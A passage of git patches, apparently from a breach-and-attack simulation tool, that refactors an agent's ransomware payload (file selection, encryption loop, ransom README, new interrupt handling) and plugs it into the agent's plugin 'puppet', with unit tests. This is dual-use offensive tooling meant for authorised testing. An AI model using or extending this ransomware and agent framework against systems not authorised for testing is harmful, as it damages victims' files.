@pytest.fixture -def ransomware(build_ransomware, ransomware_config): - return build_ransomware(ransomware_config) +def ransomware(build_ransomware, ransomware_options): + return build_ransomware(ransomware_options) @pytest.fixture @@ -40,14 +40,14 @@ def build_ransomware( @pytest.fixture -def ransomware_config(ransomware_test_data): - class RansomwareConfigStub(RansomwareConfig): +def ransomware_options(ransomware_test_data): + class RansomwareOptionsStub(RansomwareOptions): def __init__(self, encryption_enabled, readme_enabled, target_directory): self.encryption_enabled = encryption_enabled self.readme_enabled = readme_enabled self.target_directory = target_directory - return RansomwareConfigStub(True, False, ransomware_test_data) + return RansomwareOptionsStub(True, False, ransomware_test_data) @pytest.fixture @@ -71,11 +71,11 @@ def mock_leave_readme(): def test_files_selected_from_target_dir( ransomware, - ransomware_config, + ransomware_options, mock_file_selector, ): ransomware.run(threading.Event()) - mock_file_selector.assert_called_with(ransomware_config.target_directory) + mock_file_selector.assert_called_with(ransomware_options.target_directory) def test_all_selected_files_encrypted(ransomware_test_data, ransomware, mock_file_encryptor): @@ -87,23 +87,23 @@ def test_all_selected_files_encrypted(ransomware_test_data, ransomware, mock_fil def test_encryption_skipped_if_configured_false( - build_ransomware, ransomware_config, mock_file_encryptor + build_ransomware, ransomware_options, mock_file_encryptor ): - ransomware_config.encryption_enabled = False + ransomware_options.encryption_enabled = False - ransomware = build_ransomware(ransomware_config) + ransomware = build_ransomware(ransomware_options) ransomware.run(threading.Event()) assert mock_file_encryptor.call_count == 0 def test_encryption_skipped_if_no_directory( - build_ransomware, ransomware_config, mock_file_encryptor + build_ransomware, ransomware_options, mock_file_encryptor ): - ransomware_config.encryption_enabled = True - ransomware_config.target_directory = None + ransomware_options.encryption_enabled = True + ransomware_options.target_directory = None - ransomware = build_ransomware(ransomware_config) + ransomware = build_ransomware(ransomware_options) ransomware.run(threading.Event()) assert mock_file_encryptor.call_count == 0 @@ -124,13 +124,13 @@ def test_telemetry_success(ransomware, telemetry_messenger_spy): assert telem_2.get_data()["files"][0]["error"] == "" -def test_telemetry_failure(build_ransomware, ransomware_config, telemetry_messenger_spy): +def test_telemetry_failure(build_ransomware, ransomware_options, telemetry_messenger_spy): file_not_exists = "/file/not/exist" mfe = MagicMock( side_effect=FileNotFoundError(f"[Errno 2] No such file or directory: '{file_not_exists}'") ) mfs = MagicMock(return_value=[PurePosixPath(file_not_exists)]) - ransomware = build_ransomware(config=ransomware_config, file_encryptor=mfe, file_selector=mfs) + ransomware = build_ransomware(config=ransomware_options, file_encryptor=mfe, file_selector=mfs) ransomware.run(threading.Event()) telem = telemetry_messenger_spy.telemetries[0] @@ -140,36 +140,36 @@ def test_telemetry_failure(build_ransomware, ransomware_config, telemetry_messen assert "No such file or directory" in telem.get_data()["files"][0]["error"] -def test_readme_false(build_ransomware, ransomware_config, mock_leave_readme): - ransomware_config.readme_enabled = False - ransomware = build_ransomware(ransomware_config) +def test_readme_false(build_ransomware, ransomware_options, mock_leave_readme): + ransomware_options.readme_enabled = False + ransomware = build_ransomware(ransomware_options) ransomware.run(threading.Event()) mock_leave_readme.assert_not_called() -def test_readme_true(build_ransomware, ransomware_config, mock_leave_readme, ransomware_test_data): - ransomware_config.readme_enabled = True - ransomware = build_ransomware(ransomware_config) +def test_readme_true(build_ransomware, ransomware_options, mock_leave_readme, ransomware_test_data): + ransomware_options.readme_enabled = True + ransomware = build_ransomware(ransomware_options) ransomware.run(threading.Event()) mock_leave_readme.assert_called_with(README_SRC, ransomware_test_data / README_FILE_NAME) -def test_no_readme_if_no_directory(build_ransomware, ransomware_config, mock_leave_readme): - ransomware_config.target_directory = None - ransomware_config.readme_enabled = True +def test_no_readme_if_no_directory(build_ransomware, ransomware_options, mock_leave_readme): + ransomware_options.target_directory = None + ransomware_options.readme_enabled = True - ransomware = build_ransomware(ransomware_config) + ransomware = build_ransomware(ransomware_options) ransomware.run(threading.Event()) mock_leave_readme.assert_not_called() -def test_leave_readme_exceptions_handled(build_ransomware, ransomware_config): +def test_leave_readme_exceptions_handled(build_ransomware, ransomware_options): leave_readme = MagicMock(side_effect=Exception("Test exception when leaving README")) - ransomware_config.readme_enabled = True - ransomware = build_ransomware(config=ransomware_config, leave_readme=leave_readme) + ransomware_options.readme_enabled = True + ransomware = build_ransomware(config=ransomware_options, leave_readme=leave_readme) # Test will fail if exception is raised and not handled ransomware.run(threading.Event()) diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_config.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_config.py deleted file mode 100644 index 3d016f80c..000000000 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_config.py +++ /dev/null @@ -1,73 +0,0 @@ -from pathlib import Path - -import pytest -from tests.utils import raise_ - -from common.utils.file_utils import InvalidPath -from infection_monkey.payload.ransomware import ransomware_config -from infection_monkey.payload.ransomware.ransomware_config import RansomwareConfig - -LINUX_DIR = "/tmp/test" -WINDOWS_DIR = "C:\\tmp\\test" - - -@pytest.fixture -def config_from_island(): - return { - "encryption": { - "enabled": None, - "directories": { - "linux_target_dir": LINUX_DIR, - "windows_target_dir": WINDOWS_DIR, - }, - }, - "other_behaviors": {"readme": None}, - } - - -@pytest.mark.parametrize("enabled", [True, False]) -def test_encryption_enabled(enabled, config_from_island): - config_from_island["encryption"]["enabled"] = enabled - config = RansomwareConfig(config_from_island) - - assert config.encryption_enabled == enabled - - -@pytest.mark.parametrize("enabled", [True, False]) -def test_readme_enabled(enabled, config_from_island): - config_from_island["other_behaviors"]["readme"] = enabled - config = RansomwareConfig(config_from_island) - - assert config.readme_enabled == enabled - - -def test_linux_target_dir(monkeypatch, config_from_island): - monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: False) - - config = RansomwareConfig(config_from_island) - assert config.target_directory == Path(LINUX_DIR) - - -def test_windows_target_dir(monkeypatch, config_from_island): - monkeypatch.setattr(ransomware_config, "is_windows_os", lambda: True) - - config = RansomwareConfig(config_from_island) - assert config.target_directory == Path(WINDOWS_DIR) - - -def test_env_variables_in_target_dir_resolved(config_from_island, patched_home_env, tmp_path): - path_with_env_variable = "$HOME/ransomware_target" - - config_from_island["encryption"]["directories"]["linux_target_dir"] = config_from_island[ - "encryption" - ]["directories"]["windows_target_dir"] = path_with_env_variable - - config = RansomwareConfig(config_from_island) - assert config.target_directory == patched_home_env / "ransomware_target" - - -def test_target_dir_is_none(monkeypatch, config_from_island): - monkeypatch.setattr(ransomware_config, "expand_path", lambda _: raise_(InvalidPath("invalid"))) - - config = RansomwareConfig(config_from_island) - assert config.target_directory is None diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py new file mode 100644 index 000000000..f2b6a8c8c --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware_options.py @@ -0,0 +1,73 @@ +from pathlib import Path + +import pytest +from tests.utils import raise_ + +from common.utils.file_utils import InvalidPath +from infection_monkey.payload.ransomware import ransomware_options +from infection_monkey.payload.ransomware.ransomware_options import RansomwareOptions + +LINUX_DIR = "/tmp/test" +WINDOWS_DIR = "C:\\tmp\\test" + + +@pytest.fixture +def options_from_island(): + return { + "encryption": { + "enabled": None, + "directories": { + "linux_target_dir": LINUX_DIR, + "windows_target_dir": WINDOWS_DIR, + }, + }, + "other_behaviors": {"readme": None}, + } + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_encryption_enabled(enabled, options_from_island): + options_from_island["encryption"]["enabled"] = enabled + options = RansomwareOptions(options_from_island) + + assert options.encryption_enabled == enabled + + +@pytest.mark.parametrize("enabled", [True, False]) +def test_readme_enabled(enabled, options_from_island): + options_from_island["other_behaviors"]["readme"] = enabled + options = RansomwareOptions(options_from_island) + + assert options.readme_enabled == enabled + + +def test_linux_target_dir(monkeypatch, options_from_island): + monkeypatch.setattr(ransomware_options, "is_windows_os", lambda: False) + + options = RansomwareOptions(options_from_island) + assert options.target_directory == Path(LINUX_DIR) + + +def test_windows_target_dir(monkeypatch, options_from_island): + monkeypatch.setattr(ransomware_options, "is_windows_os", lambda: True) + + options = RansomwareOptions(options_from_island) + assert options.target_directory == Path(WINDOWS_DIR) + + +def test_env_variables_in_target_dir_resolved(options_from_island, patched_home_env, tmp_path): + path_with_env_variable = "$HOME/ransomware_target" + + options_from_island["encryption"]["directories"]["linux_target_dir"] = options_from_island[ + "encryption" + ]["directories"]["windows_target_dir"] = path_with_env_variable + + options = RansomwareOptions(options_from_island) + assert options.target_directory == patched_home_env / "ransomware_target" + + +def test_target_dir_is_none(monkeypatch, options_from_island): + monkeypatch.setattr(ransomware_options, "expand_path", lambda _: raise_(InvalidPath("invalid"))) + + options = RansomwareOptions(options_from_island) + assert options.target_directory is None diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 09939b2ed..3ad02a7a6 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -38,7 +38,7 @@ def test_format_config_for_agent__credentials_removed(flat_monkey_config): def test_format_config_for_agent__ransomware_payload(flat_monkey_config): - expected_ransomware_config = { + expected_ransomware_options = { "ransomware": { "encryption": { "enabled": True, @@ -54,7 +54,7 @@ def test_format_config_for_agent__ransomware_payload(flat_monkey_config): ConfigService.format_flat_config_for_agent(flat_monkey_config) assert "payloads" in flat_monkey_config - assert flat_monkey_config["payloads"] == expected_ransomware_config + assert flat_monkey_config["payloads"] == expected_ransomware_options assert "ransomware" not in flat_monkey_config From 61a7647f9bf0333acf845731b16659d313c31a37 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Dec 2021 15:31:20 +0100 Subject: [PATCH 0248/1110] Agent: Add interrupt handling to ransomware --- .../payload/ransomware/ransomware.py | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index d83361dca..fcc0a53e7 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -33,7 +33,7 @@ class Ransomware: self._target_directory / README_FILE_NAME if self._target_directory else None ) - def run(self, _: threading.Event): + def run(self, interrupt: threading.Event): if not self._target_directory: return @@ -41,7 +41,11 @@ class Ransomware: if self._config.encryption_enabled: file_list = self._find_files() - self._encrypt_files(file_list) + self._encrypt_files(file_list, interrupt) + + if interrupt.is_set(): + logger.debug("Received a stop signal, skipping remaining tasks of ransomware payload") + return if self._config.readme_enabled: self._leave_readme_in_target_directory() @@ -50,10 +54,16 @@ class Ransomware: logger.info(f"Collecting files in {self._target_directory}") return sorted(self._select_files(self._target_directory)) - def _encrypt_files(self, file_list: List[Path]): + def _encrypt_files(self, file_list: List[Path], interrupt: threading.Event): logger.info(f"Encrypting files in {self._target_directory}") for filepath in file_list: + if interrupt.is_set(): + logger.debug( + "Received a stop signal, skipping remaining files for encryption of " + "ransomware payload" + ) + return try: logger.debug(f"Encrypting {filepath}") self._encrypt_file(filepath) From 05c57644874572acf48332a07ca2042c0f7ad79b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 09:40:16 -0500 Subject: [PATCH 0249/1110] Agent: Add i_puppet package --- monkey/infection_monkey/i_puppet/__init__.py | 10 ++++++++++ monkey/infection_monkey/{ => i_puppet}/i_puppet.py | 0 2 files changed, 10 insertions(+) create mode 100644 monkey/infection_monkey/i_puppet/__init__.py rename monkey/infection_monkey/{ => i_puppet}/i_puppet.py (100%) diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py new file mode 100644 index 000000000..7140b9082 --- /dev/null +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -0,0 +1,10 @@ +from .i_puppet import ( + IPuppet, + ExploiterResultData, + PingScanData, + PortScanData, + FingerprintData, + PortStatus, + PostBreachData, + UnknownPluginError, +) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py similarity index 100% rename from monkey/infection_monkey/i_puppet.py rename to monkey/infection_monkey/i_puppet/i_puppet.py From afbc313a7cff0d16e9b3c24cf33d2b9deba5a672 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Dec 2021 16:10:42 +0100 Subject: [PATCH 0250/1110] Agent: Handle interrupts in ransomware --- .../payload/ransomware/ransomware.py | 12 +++--- .../payload/ransomware/test_ransomware.py | 38 +++++++++++++++++++ 2 files changed, 44 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py index fcc0a53e7..003112cc3 100644 --- a/monkey/infection_monkey/payload/ransomware/ransomware.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -43,12 +43,8 @@ class Ransomware: file_list = self._find_files() self._encrypt_files(file_list, interrupt) - if interrupt.is_set(): - logger.debug("Received a stop signal, skipping remaining tasks of ransomware payload") - return - if self._config.readme_enabled: - self._leave_readme_in_target_directory() + self._leave_readme_in_target_directory(interrupt) def _find_files(self) -> List[Path]: logger.info(f"Collecting files in {self._target_directory}") @@ -76,8 +72,12 @@ class Ransomware: encryption_attempt = FileEncryptionTelem(str(filepath), success, error) self._telemetry_messenger.send_telemetry(encryption_attempt) - def _leave_readme_in_target_directory(self): + def _leave_readme_in_target_directory(self, interrupt: threading.Event): try: + if interrupt.is_set(): + logger.debug("Received a stop signal, skipping leave readme") + return + self._leave_readme(README_SRC, self._readme_file_path) except Exception as ex: logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py index 94de5aabc..adffe6f88 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_ransomware.py @@ -5,6 +5,7 @@ from unittest.mock import MagicMock import pytest from tests.unit_tests.infection_monkey.payload.ransomware.ransomware_target_files import ( ALL_ZEROS_PDF, + HELLO_TXT, TEST_KEYBOARD_TXT, ) @@ -69,6 +70,11 @@ def mock_leave_readme(): return MagicMock() +@pytest.fixture +def interrupt(): + return threading.Event() + + def test_files_selected_from_target_dir( ransomware, ransomware_options, @@ -86,6 +92,38 @@ def test_all_selected_files_encrypted(ransomware_test_data, ransomware, mock_fil mock_file_encryptor.assert_any_call(ransomware_test_data / TEST_KEYBOARD_TXT) +def test_interrupt_while_encrypting( + ransomware_test_data, interrupt, ransomware_options, build_ransomware +): + selected_files = [ + ransomware_test_data / ALL_ZEROS_PDF, + ransomware_test_data / HELLO_TXT, + ransomware_test_data / TEST_KEYBOARD_TXT, + ] + mfs = MagicMock(return_value=selected_files) + + def _callback(file_path, *_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread continues to scan. + if file_path.name == HELLO_TXT: + interrupt.set() + + mfe = MagicMock(side_effect=_callback) + + build_ransomware(ransomware_options, mfe, mfs).run(interrupt) + + assert mfe.call_count == 2 + mfe.assert_any_call(ransomware_test_data / ALL_ZEROS_PDF) + mfe.assert_any_call(ransomware_test_data / HELLO_TXT) + + +def test_no_readme_after_interrupt(ransomware, interrupt, mock_leave_readme): + interrupt.set() + ransomware.run(interrupt) + + mock_leave_readme.assert_not_called() + + def test_encryption_skipped_if_configured_false( build_ransomware, ransomware_options, mock_file_encryptor ): From 973c88678ea08d3719bcdd0e8f749b1ee793c99d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 10:13:28 -0500 Subject: [PATCH 0251/1110] Agent: Move PluginType to the i_plugin package --- monkey/infection_monkey/i_puppet/__init__.py | 1 + monkey/infection_monkey/i_puppet/i_puppet.py | 2 +- monkey/infection_monkey/{puppet => i_puppet}/plugin_type.py | 0 monkey/infection_monkey/puppet/mock_puppet.py | 2 +- monkey/infection_monkey/puppet/plugin_registry.py | 3 +-- monkey/infection_monkey/puppet/puppet.py | 2 +- monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py | 2 +- 7 files changed, 6 insertions(+), 6 deletions(-) rename monkey/infection_monkey/{puppet => i_puppet}/plugin_type.py (100%) diff --git a/monkey/infection_monkey/i_puppet/__init__.py b/monkey/infection_monkey/i_puppet/__init__.py index 7140b9082..0ba1096d1 100644 --- a/monkey/infection_monkey/i_puppet/__init__.py +++ b/monkey/infection_monkey/i_puppet/__init__.py @@ -1,3 +1,4 @@ +from .plugin_type import PluginType from .i_puppet import ( IPuppet, ExploiterResultData, diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index f3567ee77..3fa2aabd9 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -4,7 +4,7 @@ from collections import namedtuple from enum import Enum from typing import Dict -from infection_monkey.puppet.plugin_type import PluginType +from . import PluginType class PortStatus(Enum): diff --git a/monkey/infection_monkey/puppet/plugin_type.py b/monkey/infection_monkey/i_puppet/plugin_type.py similarity index 100% rename from monkey/infection_monkey/puppet/plugin_type.py rename to monkey/infection_monkey/i_puppet/plugin_type.py diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 59539c58b..182ebe55e 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -7,11 +7,11 @@ from infection_monkey.i_puppet import ( FingerprintData, IPuppet, PingScanData, + PluginType, PortScanData, PortStatus, PostBreachData, ) -from infection_monkey.puppet.plugin_type import PluginType DOT_1 = "10.0.0.1" DOT_2 = "10.0.0.2" diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index 76d0d3714..0e98ba2ef 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -1,8 +1,7 @@ import logging from typing import Optional -from infection_monkey.i_puppet import UnknownPluginError -from infection_monkey.puppet.plugin_type import PluginType +from infection_monkey.i_puppet import PluginType, UnknownPluginError logger = logging.getLogger() diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 132898536..64a8028e3 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -7,11 +7,11 @@ from infection_monkey.i_puppet import ( FingerprintData, IPuppet, PingScanData, + PluginType, PortScanData, PostBreachData, ) from infection_monkey.puppet.plugin_registry import PluginRegistry -from infection_monkey.puppet.plugin_type import PluginType logger = logging.getLogger() diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index c0c4a1f19..950bc329b 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -1,7 +1,7 @@ import threading from unittest.mock import MagicMock -from infection_monkey.puppet.plugin_type import PluginType +from infection_monkey.i_puppet import PluginType from infection_monkey.puppet.puppet import Puppet From 7b8b485b5749b7d5ff27e0f6aaeeb4b411afccf0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 10:22:42 -0500 Subject: [PATCH 0252/1110] Agent: Mock out unimplemented functions in Puppet --- monkey/infection_monkey/puppet/puppet.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 64a8028e3..3e2ad0f5f 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -13,27 +13,30 @@ from infection_monkey.i_puppet import ( ) from infection_monkey.puppet.plugin_registry import PluginRegistry +from .mock_puppet import MockPuppet + logger = logging.getLogger() class Puppet(IPuppet): def __init__(self) -> None: + self._mock_puppet = MockPuppet() self._plugin_registry = PluginRegistry() def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) def run_sys_info_collector(self, name: str) -> Dict: - pass + return self._mock_puppet.run_sys_info_collector(name) def run_pba(self, name: str, options: Dict) -> PostBreachData: - pass + return self._mock_puppet.run_pba(name, options) def ping(self, host: str, timeout: float = 1) -> PingScanData: - pass + return self._mock_puppet.ping(host, timeout) def scan_tcp_port(self, host: str, port: int, timeout: float = 3) -> PortScanData: - pass + return self._mock_puppet.scan_tcp_port(host, port, timeout) def fingerprint( self, @@ -42,12 +45,12 @@ class Puppet(IPuppet): ping_scan_data: PingScanData, port_scan_data: Dict[int, PortScanData], ) -> FingerprintData: - pass + return self._mock_puppet.fingerprint(name, host, ping_scan_data, port_scan_data) def exploit_host( self, name: str, host: str, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: - pass + return self._mock_puppet.exploit_host(name, host, options, interrupt) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) From b19ce79df678cfbbecfd96574ff4f708027a1716 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 10:25:16 -0500 Subject: [PATCH 0253/1110] Agent: Use relative imports within puppet package --- monkey/infection_monkey/puppet/puppet.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index 3e2ad0f5f..41ed99250 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -11,9 +11,9 @@ from infection_monkey.i_puppet import ( PortScanData, PostBreachData, ) -from infection_monkey.puppet.plugin_registry import PluginRegistry from .mock_puppet import MockPuppet +from .plugin_registry import PluginRegistry logger = logging.getLogger() From 50930017fbdd3dba680bea1d29102fd0a41b5da5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 10:55:58 -0500 Subject: [PATCH 0254/1110] Agent: Use address_to_ip_port() in _running_on_island() --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f26c92b3b..7f3b9d617 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -188,7 +188,7 @@ class InfectionMonkey: ) def _running_on_island(self, local_network_interfaces: List[NetworkInterface]) -> bool: - server_ip = self._default_server.split(":")[0] + server_ip, _ = address_to_ip_port(self._default_server) return server_ip in {interface.address for interface in local_network_interfaces} def _is_another_monkey_running(self): From a48c1afefdc25d68a2245e847ad28530eb9ce64c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Dec 2021 11:11:21 -0500 Subject: [PATCH 0255/1110] Agent: Construct concrete puppet in monkey.py --- monkey/infection_monkey/monkey.py | 34 ++++++++++++++++++++----------- 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7f3b9d617..a7576f258 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -12,13 +12,15 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from common.version import get_version from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient +from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel from infection_monkey.model import DELAY_DELETE_CMD, VictimHostFactory from infection_monkey.network import NetworkInterface from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_local_network_interfaces -from infection_monkey.puppet.mock_puppet import MockPuppet +from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem @@ -156,6 +158,20 @@ class InfectionMonkey: register_signal_handlers(self._master) + def _build_master(self): + local_network_interfaces = InfectionMonkey._get_local_network_interfaces() + puppet = InfectionMonkey._build_puppet() + + victim_host_factory = self._build_victim_host_factory(local_network_interfaces) + + self._master = AutomatedMaster( + puppet, + LegacyTelemetryMessengerAdapter(), + victim_host_factory, + ControlChannel(self._default_server, GUID), + local_network_interfaces, + ) + @staticmethod def _get_local_network_interfaces(): local_network_interfaces = get_local_network_interfaces() @@ -164,18 +180,12 @@ class InfectionMonkey: return local_network_interfaces - def _build_master(self): - local_network_interfaces = InfectionMonkey._get_local_network_interfaces() + @staticmethod + def _build_puppet() -> IPuppet: + puppet = Puppet() + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) - victim_host_factory = self._build_victim_host_factory(local_network_interfaces) - - self._master = AutomatedMaster( - MockPuppet(), - LegacyTelemetryMessengerAdapter(), - victim_host_factory, - ControlChannel(self._default_server, GUID), - local_network_interfaces, - ) + return puppet def _build_victim_host_factory( self, local_network_interfaces: List[NetworkInterface] From d467f30d161a247de5498f11821ccd057bc440da Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 9 Jan 2022 10:32:47 -0500 Subject: [PATCH 0256/1110] Island: Fix updating logic for IslandConfigOptions --- .../monkey_island/cc/server_utils/consts.py | 5 --- .../cc/setup/island_config_options.py | 35 +++++++++++-------- .../cc/setup/test_island_config_options.py | 26 ++++++++++++++ 3 files changed, 47 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 29fe78933..5da759efe 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -43,11 +43,6 @@ DEFAULT_START_MONGO_DB = True DEFAULT_CRT_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) DEFAULT_KEY_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) -DEFAULT_CERTIFICATE_PATHS = { - "ssl_certificate_file": DEFAULT_CRT_PATH, - "ssl_certificate_key_file": DEFAULT_KEY_PATH, -} - GEVENT_EXCEPTION_LOG = "gevent_exceptions.log" ISLAND_PORT = 5000 diff --git a/monkey/monkey_island/cc/setup/island_config_options.py b/monkey/monkey_island/cc/setup/island_config_options.py index 27df897e8..763474c83 100644 --- a/monkey/monkey_island/cc/setup/island_config_options.py +++ b/monkey/monkey_island/cc/setup/island_config_options.py @@ -2,7 +2,6 @@ from __future__ import annotations from common.utils.file_utils import expand_path from monkey_island.cc.server_utils.consts import ( - DEFAULT_CERTIFICATE_PATHS, DEFAULT_CRT_PATH, DEFAULT_DATA_DIR, DEFAULT_KEY_PATH, @@ -21,21 +20,33 @@ _LOG_LEVEL = "log_level" class IslandConfigOptions: def __init__(self, config_contents: dict = None): - if not config_contents: + if config_contents is None: config_contents = {} - self.data_dir = config_contents.get(_DATA_DIR, DEFAULT_DATA_DIR) - self.log_level = config_contents.get(_LOG_LEVEL, DEFAULT_LOG_LEVEL) + self.data_dir = DEFAULT_DATA_DIR + self.log_level = DEFAULT_LOG_LEVEL + self.start_mongodb = DEFAULT_START_MONGO_DB + self.crt_path = DEFAULT_CRT_PATH + self.key_path = DEFAULT_KEY_PATH + + self._expand_paths() + + self.update(config_contents) + + def update(self, config_contents: dict): + self.data_dir = config_contents.get(_DATA_DIR, self.data_dir) + + self.log_level = config_contents.get(_LOG_LEVEL, self.log_level) self.start_mongodb = config_contents.get( - _MONGODB, {_START_MONGODB: DEFAULT_START_MONGO_DB} - ).get(_START_MONGODB, DEFAULT_START_MONGO_DB) + _MONGODB, {_START_MONGODB: self.start_mongodb} + ).get(_START_MONGODB, self.start_mongodb) - self.crt_path = config_contents.get(_SSL_CERT, DEFAULT_CERTIFICATE_PATHS).get( - _SSL_CERT_FILE, DEFAULT_CRT_PATH + self.crt_path = config_contents.get(_SSL_CERT, {_SSL_CERT_FILE: self.crt_path}).get( + _SSL_CERT_FILE, self.crt_path ) - self.key_path = config_contents.get(_SSL_CERT, DEFAULT_CERTIFICATE_PATHS).get( - _SSL_CERT_KEY, DEFAULT_KEY_PATH + self.key_path = config_contents.get(_SSL_CERT, {_SSL_CERT_KEY: self.key_path}).get( + _SSL_CERT_KEY, self.key_path ) self._expand_paths() @@ -44,7 +55,3 @@ class IslandConfigOptions: self.data_dir = expand_path(str(self.data_dir)) self.crt_path = expand_path(str(self.crt_path)) self.key_path = expand_path(str(self.key_path)) - - def update(self, target: dict): - self.__dict__.update(target) - self._expand_paths() diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index c9964af7e..2e8609fd1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -144,3 +144,29 @@ def assert_ssl_certificate_key_file_equals(config_file_contents, expected_ssl_ce def assert_island_config_option_equals(config_file_contents, option_name, expected_value): options = IslandConfigOptions(config_file_contents) assert getattr(options, option_name) == expected_value + + +def test_start_mongo_overridden(patched_home_env): + config = IslandConfigOptions() + assert config.start_mongodb + + config.update({"mongodb": {"start_mongodb": 